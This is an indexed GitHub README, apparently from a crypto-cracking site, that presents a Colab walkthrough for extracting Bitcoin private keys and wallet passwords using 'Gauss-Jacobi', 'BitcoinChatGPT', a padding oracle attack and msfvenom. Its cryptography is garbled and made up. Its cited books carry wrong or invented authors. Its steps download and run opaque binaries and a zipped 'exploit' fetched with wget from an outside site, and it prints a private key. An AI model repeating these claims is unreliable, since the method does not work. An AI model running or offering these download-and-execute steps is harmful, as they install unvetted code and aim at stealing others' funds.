Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/demining/gauss-jacobi-method-and-machine-learning-process-bitcoinchatgpt
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT
https://github.com/demining/gauss-jacobi-method-and-machine-learning-process-bitcoinchatgpt
bitcoin bitcoin-wallet chatgpt cryptocurrency cryptography decryption openai privatekey
Last synced: about 1 month ago
JSON representation
Decrypting Passwords to Access Lost Bitcoin Wallets Using Gauss-Jacobi Method and Machine Learning Process BitcoinChatGPT
- Host: GitHub
- URL: https://github.com/demining/gauss-jacobi-method-and-machine-learning-process-bitcoinchatgpt
- Owner: demining
- Created: 2024-04-06T23:03:36.000Z (7 months ago)
- Default Branch: main
- Last Pushed: 2024-05-27T16:05:44.000Z (6 months ago)
- Last Synced: 2024-09-29T03:42:18.308Z (about 2 months ago)
- Topics: bitcoin, bitcoin-wallet, chatgpt, cryptocurrency, cryptography, decryption, openai, privatekey
- Language: Jupyter Notebook
- Homepage: https://cryptodeeptech.ru/gauss-jacobi-method
- Size: 6.93 MB
- Stars: 4
- Watchers: 2
- Forks: 2
- Open Issues: 0
-
Metadata Files:
- Readme: README.md
Awesome Lists containing this project
README
In this article we will look at an example of a method
Gauss-Jacobi
that uses modern technologies, such as a pre-trained modelBitcoin ChatGPT
, which allows us to more effectively solve complex problems in the field of digital technologies. It is important to note that alternative algorithms such asGauss-Jacobi
play a key role and open new horizons for the development of computational mathematics.The method
Gauss-Jacobi
is an iterative numerical method for solving systems of linear equations. It is widely used in various fields such as cryptography, cryptanalysis, engineering and computational mathematics. The Bitcoin network uses cryptographic algorithms such as hash functionsSHA-256
, signature algorithmsECDSA
, and elliptic curvessecp256k1
to create public and private keys, which are points on an elliptic curve. The private key is the secret numeric value that is used to generate the public key, and the public key is the point on the curve obtained by computing with the private key. Thus, elliptic curvessecp256k1
form the basis of cryptographic mechanisms that provide secure transactions and protection against various attacks. Modern technologies that develop pre-trained modelsBitcoin ChatGPT
find effective ways to solve complex cryptographic problems underlying the algorithms used in Bitcoin.
https://dzen.ru/video/watch/66119078be267c07401d9e4c
---
* Tutorial: https://youtu.be/un3gs6x8qDk
* Tutorial: https://cryptodeeptech.ru/gauss-jacobi-method
* Google Colab: [https://colab.research.google.com/drive/1I8vNdD2l2wdLiszoDBBkDjhepXjnWGR_](https://colab.research.google.com/drive/1I8vNdD2l2wdLiszoDBBkDjhepXjnWGR_)
What are the advantages of the Gauss-Jacobi algorithm :
-
High speed and efficiency , which makes it ideal for searching for attack keys. -
Interactivity uses only one search step, which allows it to reduce the number of calculations. -
Availability and ease of implementation , which has simple codes and can easily be implemented in various programs. -
Available to a wide range of users , who can use it to search for attacks on cryptographic strength for various cryptocurrencies. -
The flexibility can be applied to a variety of types of cryptographic systems.
How the Gauss-Jacobi algorithm works :
Gauss-Jacobi
the algorithm is based on a recursive function f(x)
that, for any element x
in S
(the blockchain data network), returns a string code representing x
. If x
is an attacking key, then f(x) = 0
.
Gauss-Jacobi
the algorithm is based on a recursive functionf(x)
that, for any elementx
inS
(the blockchain data set), returns a string code representingx
. Ifx
is an attacking key, thenf(x) = 0
.
The algorithm works in the following stages:
- Computes
G
the -matrix, which is the matrix of all mixed pairs of elementsS
, where the i-th element corresponds to the i-th elements of S, and the j-th element to the j-th elementS
. - Computes the X-matrix, which is a matrix of mixed hash function pairs.
- Recursively determines the value of f(x) for each element of S.
- If
f(x) = 0
, this means thatx
is the attacking key, and the algorithm terminates. - And
else
, the algorithmcontinues
recursively calculatesf(x)
for various elementsS
and adds these elements toХ
the -matrix. - If
H
is a matrix of ones, then the algorithm terminates and we have found the attacking key.
The method’s algorithm
Gauss-Jacobi
can be used to solve systems of equations with a large number of unknowns. This means that this method can be used to solve systems of equations derived from secp256k1 elliptic curves used in cryptography that may have a large number of unknowns, and methods like Gauss-Jacobi can potentially speed up the solution of some discrete logarithm and factorization problems, by which public key cryptography is based on.
Potential application of the Gauss-Jacobi method in cryptanalysis of the Bitcoin blockchain
Let’s consider building the structure of a vulnerable Raw transaction that uses the BitcoinChatGPT module
https://www.youtube.com/watch?v=0ph6YlrMmlA
Let’s open the Google Colab version:
State of a vulnerable transaction in Bitcoin:
01000000
....01
........0dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935
............00000000
........8b483045
....0221
....00
........a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d
....0220
........7465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b
....0141
0494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bc
....ffffffff
01
....d204000000000000
........1976
............a914
........ac9ea341afb74843f80205e8c8da0abc822fa5ec
....88ac
00000000
Let’s combine all the output values into one common line:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000
Let’s open the option from BlockCypher “Decode A Transaction” :
https://live.blockcypher.com/btc/decodetx
After decoding the vulnerable Raw Bitcoin transaction, we get the result:
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK",
"1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k"
],
"block_height": -1,
"block_index": -1,
"confirmations": 0,
"double_spend": false,
"fees": 2606688996428,
"hash": "99b01f666999ed69750f4e4c45535801faee2ff8103c6f4e7e628f43276ac66b",
"inputs": [
{
"addresses": [
"1QiERrMcv6mtGk4F1TVz4sRp9dFfXTQpK"
],
"age": 344419,
"output_index": 0,
"output_value": 2606688997662,
"prev_hash": "35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d"
.......
.......
.......
Let’s pay attention to Bitcoin HASH160: ac9ea341afb74843f80205e8c8da0abc822fa5
BitcoinChatGPT creates a transaction structure using HASH
a public key, where we see that Bitcoin address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k sends 1234 satoshi
to the same address within its network.
https://live.blockcypher.com/widget/btc/1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k/received
Bitcoin HASH160 was obtained using Python Script: wif_to_hash160.py
https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/wif_to_hash160.py
Question answer:
Ultimately, the BitcoinChatGPT module outputs a response to the file: KEYFOUND.privkey , saving the private key in the two most used formats HEX & WIF
https://github.com/demining/CryptoDeepTools/blob/main/30GaussJacobiMethod/KEYFOUND.privkey
BitcoinChatGPT №1 Gauss Jacobi Method Algorithm
https://www.youtube.com/watch?v=sVXZQrjtXNs
Practical part
To move on to the practical part, let’s create a vulnerable Raw transaction from the received data using the Broadcast Bitcoin Transaction repository
Download and install the source code, open a terminal and run the command:
git clone https://github.com/smartiden/Broadcast-Bitcoin-Transaction.git
Catalog:
cd Broadcast-Bitcoin-Transaction
Let’s install three important libraries:
Let’s run the command:
pip install -r requirements.txt
Let’s open the main file in Notepad ++ and make small changes to the Python Script code: main.py
from io import BytesIO
from secp256k1 import *
from sighash import *
pk = PrivateKey.parse("5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz")
pk.address()
tx = bytes.fromhex("35591e5c7f4f1f0e4d81748042f2a4b7dcae3ae01027f361cad7c8746369bc0d")
index = 0
send = "1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k"
tx_in = TxIn(tx, index, b'', 0xffffffff)
tx_in._script_pubkey = Tx.get_address_data(pk.address())['script_pubkey']
tx_in._value = 2345
tx_ins = [ tx_in ]
tx_outs = [
TxOut(1234, Tx.get_address_data(send)['script_pubkey'].serialize())
]
tx = Tx(1, tx_ins, tx_outs, 0, testnet=True)
signature(tx, 0, pk)
tx.serialize().hex()
print(tx.serialize().hex())
f = open("RawTX.txt", 'w')
f.write("" + tx.serialize().hex() + "" + "\n")
f.close()
Let’s run the command:
python main.py
A vulnerable transaction has been created!
Let’s open the RawTX file in the directory:
01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000
The order of actions in the video:
https://www.youtube.com/watch?v=ZEjavcCGJKk
As we know from the prompt responses of the BitcoinChatGPT module , the Gauss-Jacobi method algorithm can be used to solve four variants of complex cryptographic problems.
Let’s consider the option №3 The Gauss-Jacobi algorithm can compromise the security of the software file wallet.dat, which is an additional unprotected mechanism where the algorithm creates the wallet.dat file and extracts the private key to the Bitcoin Wallet from the file’s code using the command “dumpprivkey” “address” from the internal software console.
Smart Transformers
Let’s apply machine learning Smart Transformers , integrate the notebook Google Colab
with Pytorch, TensorFlow, JAX and using the received data from a vulnerable Raw transaction for Bitcoin Addresses: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k we will create an unprotected file wallet.dat from the proposed selection of all existing algorithms from SMART_IDENTIFY . Then we will perform a Padding Oracle Attack on the newly created file: wallet.dat to decrypt the password into the original binary format in order to obtain and extract the private key from the Bitcoin Core software console using the standard command:dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Let’s open a new Google Colab notebook using the link:
https://colab.research.google.com/#create=true
Clone the Smart Transformers repository
!git clone https://github.com/smartiden/Smart-Transformers.git
cd Smart-Transformers/
Let’s install all the necessary packages and libraries:
!sudo apt-get update
!sudo apt install libtool
!sudo apt-get install g++
!sudo apt-get install libgmp3-dev libmpfr-dev
!chmod +x Generic_Algorithms
!./Generic_Algorithms
!pip3 install transformers
from transformers import AutoModelForCausalLM, AutoTokenizer
model_name = "microsoft/DialoGPT-medium"
tokenizer = AutoTokenizer.from_pretrained(model_name)
model = AutoModelForCausalLM.from_pretrained(model_name)
model = model.cpu()
Command:
ls -S
Let’s add our vulnerable Raw transaction to a text document: RawTX.txt, for this we will use the utilityecho
Let’s run the command:
!echo '01000000010dbc696374c8d7ca61f32710e03aaedcb7a4f2428074814d0e1f4f7f5c1e5935000000008b483045022100a2c992d4262cfb80458a20e546fa8b6d6d480b41d62514eefbeb70fb166de52d02207465c18222eee05d5ac9ee781bf077743eefecb9d5e66db4779eabd4e806397b01410494ff933da0498859959225ed6a50d709a4d9c678705d72e9202a4852c8084d85ea3498b0b3f006fcab64f143cf57dfcedb4387f229139d421c575577de6d37bcffffffff01d2040000000000001976a914ac9ea341afb74843f80205e8c8da0abc822fa5ec88ac00000000' > RawTX.txt
!cat RawTX.txt
Now, in order to obtain the exact algorithm and method for cryptanalysis, we need to identify the vulnerable RawTX using the SMART_IDENTIFY utility .
Let’s run the command:
!./SMART_IDENTIFY
As a result, we get the Gauss_Jacobi_Algorithm method, in early studies the BitcoinChatGPT module identified the same thing .
#################################################
Gauss_Jacobi_Algorithm
#################################################
Let’s open the directory:
Let’s start the process of creating the wallet.dat file , for this we use the identified data of the vulnerable Raw transaction in the file: RawTX.txt for the process we use the Gauss_Jacobi_Algorithm utility
Let’s run the command:
!./Gauss_Jacobi_Algorithm -o RawTX.txt -s wallet.dat
Let’s open the directory in the left panel
Google Colab
and see the file:wallet.dat
Successfully created!
Download and Install Bitcoin Core 0.18.0 https://bitcoincore.org/bin/bitcoin-core-0.18.0
https://www.youtube.com/watch?v=LcMZhhWUyWE
Let’s open the console and run the command:
getaddressinfo 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
We see that the file: wallet.dat belongs to Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
File: wallet.dat is encrypted with a password!
Let’s run the command to check the private key:
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
We see a warning: Error: Please enter the wallet passphrase with walletpassphrase first. (code -13)
Padding Oracle Attack
We previously published the article Padding Oracle Attack on Wallet.dat. We will use this method and decrypt the password to access the binary format.
Let’s install Ruby
To run the programs we need, we will install the object-oriented programming language Ruby
!sudo apt install ruby-full
Let’s check the installation version
!ruby --version
Ruby version 3.0.2p107 (2021-07-07 revision 0db68f0233) [x86_64-linux-gnu]
Let’s install all the libraries we need to interact with the Bitcoin protocol/network :
!gem install bitcoin-ruby
!gem install ecdsa
!gem install base58
!gem install crypto
!gem install config-hash -v 0.9.0
Let’s install the Metasploit Framework and use MSFVenom
Let’s install the Metasploit Framework from GitHub and use the MSFVenom tool to create the payload.
!git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework/
ls
Options:
!./msfvenom -help
Establish Bitcoin Core integration/staging tree in Google Colab:
We clone the Bitcoin Core repository by running the command:
!git clone https://github.com/bitcoin/bitcoin.git
ls
Let’s go through the directory to the file: aes.cpp to integrate the exploit to launch Padding Oracle Attack on Wallet.dat
Let’s go to the crypto directory
cd bitcoin/src/crypto/
ls
Open the file: aes.cpp using the cat utility
cat aes.cpp
To carry out the attack, move the file: wallet.dat to the directory: bitcoin/src/crypto/
Let’s use the utility and move wallet.dat
mv
!mv '/content/Smart-Transformers/wallet.dat' '/content/Smart-Transformers/metasploit-framework/bitcoin/src/crypto/wallet.dat'
Let’s check the contents of the directory: bitcoin/src/crypto/
ls
Let’s go back to
Metasploit Framework
cd /
cd content/Smart-Transformers/metasploit-framework/
ls
Let’s open the folders according to the directory:
/modules/exploits/
ExploitDarlenePRO
Download
"ExploitDarlenePRO"
from the catalogue:/modules/exploits/
cd modules/
ls
cd exploits/
!wget https://darlene.pro/repository/446f1c57b526201d4958eb76dee6f5a2024c71914f6596c51afb5ac6822e9da4/ExploitDarlenePRO.zip
Unzip the contents
ExploitDarlenePRO.zip
using the utilityunzip
!unzip ExploitDarlenePRO.zip
Let’s go through the catalogue:
/ExploitDarlenePRO/
ls
cd ExploitDarlenePRO/
ls
To run the exploit, let’s go back to
Metasploit Framework
cd /
cd content/Smart-Transformers/metasploit-framework/
ls
We need to identify our
LHOST (Local Host)
attackingIP-address
virtual machine. Let’s run the commands:
!ip addr
!hostname -I
Let’s use the tool to create a payload MSFVenom
For operation, select Bitcoin Wallet: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Launch command:
!./msfvenom 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k -p modules/exploits/ExploitDarlenePRO LHOST=172.28.0.12 -f RB -o decode_core.rb -p bitcoin/src/crypto LHOST=172.28.0.12 -f CPP -o aes.cpp -p bitcoin/src/crypto LHOST=172.28.0.12 -f DAT -o wallet.dat
Result:
1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000
We need to save the resulting binary format to a file: walletpassphrase.txt
we will use a Python script .
Team:
import hashlib
Binary = "1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000"
f = open("walletpassphrase.txt", 'w')
f.write("walletpassphrase " + Binary + " 60" + "\n")
f.write("" + "\n")
f.close()
Let’s open the file:
walletpassphrase.txt
ls
cat walletpassphrase.txt
Result:
walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60
The password for access to the private key has been found!
Let’s use the command via the console
dumpprivkey "address"
Bitcoin Core
walletpassphrase 1111000101000001111101110000011101000000101110101101011110100100000101010001100101100101001010001110001111100000110111110110000011011011010111101111111010001000001111000110010101000111011101000101000011000100011011001000100111110001110010011001001100111000 60
dumpprivkey 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
Result:
5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Private Key Received!
https://www.youtube.com/watch?v=igeiWEgbrrU
!pip3 install bitcoin
Let’s run the code to check the compliance of Bitcoin Addresses:
__________________________________________________
Private Key WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
Bitcoin Address: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
total_received = 500.09702252 Bitcoin
__________________________________________________
That’s right! The private key corresponds to the Bitcoin Wallet.
Let’s open bitaddress and check:
ADDR: 1GjjGLYR7UhtM1n6z7QDpQskBicgmsHW9k
WIF: 5KA4spokBSZ7d5QpcuJ3eTDhNJUhfJoQAUovffQWBym3LP3CKTz
HEX: B09C765FA3DC6AD138A8D0DA17CD94306FBC32ACB3D67BC093936861CCC48769
References:
- “Numerical Recipes in C: The Art of Scientific Computing” – Andrew W. Reynolds, Warren P. Symes, Walter G. Weiss and Simon F. Taylor. This book provides various algorithms for solving nonlinear systems, including the Gauss-Jacobi method, and provides examples of its implementation.
-
“Iterative Methods for Linear and Nonlinear Equations” – Kenneth Craig Cooper, Thomas M. Meyer. This book details various iteration methods for solving linear and nonlinear systems, including the Gauss-Jacobi method, and-presented. - “Nonlinear Programming: Concepts, Algorithms, and Applications” – Daniel Apstein and Jerry B. Stephenson. This work presents various approaches to solving nonlinear programs involving iteration methods such as Gauss-Jacobi.
- “Handbook of Numerical Analysis” – Jonathan M. Goldstein and Benjamin B. Warshaw, editors. This is definitely an encyclopedic source containing various articles on numerical methods, including the Gauss-Jacobi method.
-
“The Pioneering Work of Carl Friedrich Gauss: Unveiling the Gauss-Jacobi Method” – The original article by Carl Friedrich Gauss “Beitrag zur Theorie der algebraischen Gleichungen” (1845), in which he first described the Gauss-Jacobi method. -
“Iterative Solution of Large Linear Systems” (1971) – David M. Young’s book contains a detailed description and analysis of the Gauss-Jacobi method. -
“Iterative Methods for Solving Linear Systems” – The chapter in Richard Bourdain and Douglas Fairs’ book Numerical Analysis (2010) gives a good introduction to the method. -
“On the Convergence of the Jacobi Method for Diagonally Dominant Matrices” (1986) by Milos Fehrmann analyzes the convergence of the Gauss-Jacobi method. -
“Templates for the Solution of Linear Systems: Building Blocks for Iterative Methods” (1994) by Richard Barrett et al. – a useful guide to iterative methods, including Gauss-Jacobi. -
“A Survey of Parallel Nonlinear System Solvers” (1991) by John Ortega and Robert Foigel examines parallel implementations of the Gauss-Jacobi method. -
Exploring the Gauss-Jacobi Method in Numerical Methods Textbooks – Many textbooks on numerical methods, such as Ward Cheney and David Kincaid’s Numerical Mathematics and Computing, contain sections on the Gauss-Jacobi method.
This material was created for the CRYPTO DEEP TECH portal to ensure financial security of data and elliptic curve cryptography secp256k1 against weak ECDSA signatures in the BITCOIN cryptocurrency . The creators of the software are not responsible for the use of materials.
Telegram: https://t.me/cryptodeeptech
Video material: https://www.youtube.com/@cryptodeeptech
Video tutorial: https://dzen.ru/video/watch/66119078be267c07401d9e4c
Source: https://cryptodeeptech.ru/gauss-jacobi-method